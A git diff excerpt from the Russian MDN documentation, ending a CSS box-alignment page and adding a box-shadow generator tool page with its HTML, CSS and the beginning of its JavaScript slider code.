Для того, чтобы эти ключевые слова вступили в силу, должно быть доступно пространство в измерении, для которого вы хотите выровнять элементы. Без места, нечего распространять.

+ +

Выравнивание переполнения

+ +

safe и unsafe ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово safe будет выравниваться для start в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.

+ +

Если вы укажете unsafe, выравнивание будет выполнено, даже если это приведет к такой потере данных.

+ +

Пробелы между boxes

+ +

Спецификация выравнивания коробки также включает свойства gap, row-gap и column-gap . Эти свойства позволяют установить постоянный разрыв между элементами в строке или столбце в любом методе макета, который имеет элементы, расположенные таким образом.

+ +

Свойство gap является сокращением для row-gap и column-gap, что позволяет сразу установить эти свойства:

+ +
    +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+ +

В приведенном ниже примере макет сетки использует сокращенную gap, чтобы установить разрыв 10px между дорожками строк и 2em разрыв между дорожками столбцов.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}

+ +

В этом примере я использую свойство {{cssxref("grid-gap")}} в дополнение к {{cssxref("gap")}}. Первоначальные свойства зазора были предварительно префиксными grid- в спецификации Grid Layout, а некоторые браузеры поддерживают только эти префиксные версии.

+ +
    +
  • {{cssxref("grid-row-gap")}}
    • +
  • {{cssxref("grid-column-gap")}}
    • +
  • {{cssxref("grid-gap")}}
    • +
+ +

Префиксные версии будут поддерживаться как псевдоним неподписанных, однако вы всегда можете удвоить так, как это было бы с префиксами поставщика, добавив свойство grid-gap, а затем свойство gap с теми же значениями.

+ +

Кроме того, имейте в виду, что другие вещи могут увеличить визуальный промежуток, отображаемый, например, используя ключевые слова распределения пространства или добавляя поля к элементам.

+ +

Страницы, детализирующие индивидуальные свойства выравнивания

+ +

Поскольку свойства выравнивания полей CSS реализованы по-разному в зависимости от спецификации, с которой они взаимодействуют, обратитесь к следующим страницам для каждого типа макета для получения подробных сведений о том, как использовать с ним свойства выравнивания:

+ + + +

Справка

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("place-content")}}
    • +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("place-items")}}
    • +
  • {{cssxref("justify-self")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("place-self")}}
    • +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+
+ +

Glossary Entries

+ +
+ +
+ +

Guides

+ + + +

External Resources

+ + diff --git a/files/ru/web/css/css_box_model/box-shadow_generator/index.html b/files/ru/web/css/css_box_model/box-shadow_generator/index.html new file mode 100644 index 0000000000..3f46cf53ba --- /dev/null +++ b/files/ru/web/css/css_box_model/box-shadow_generator/index.html @@ -0,0 +1,2884 @@ +--- +title: Генератор теней +slug: Web/CSS/CSS_Box_Model/Box-shadow_generator +tags: + - CSS3 + - Тень + - инструменты +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

Этот инструмент позволяет вам создавать CSS {{cssxref("box-shadow")}} эффекты, добавлять тени вашим элементам.

+ +
+

Генератор box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> элементы </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Shadow properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Параметры элемента</div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    CSS-код </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
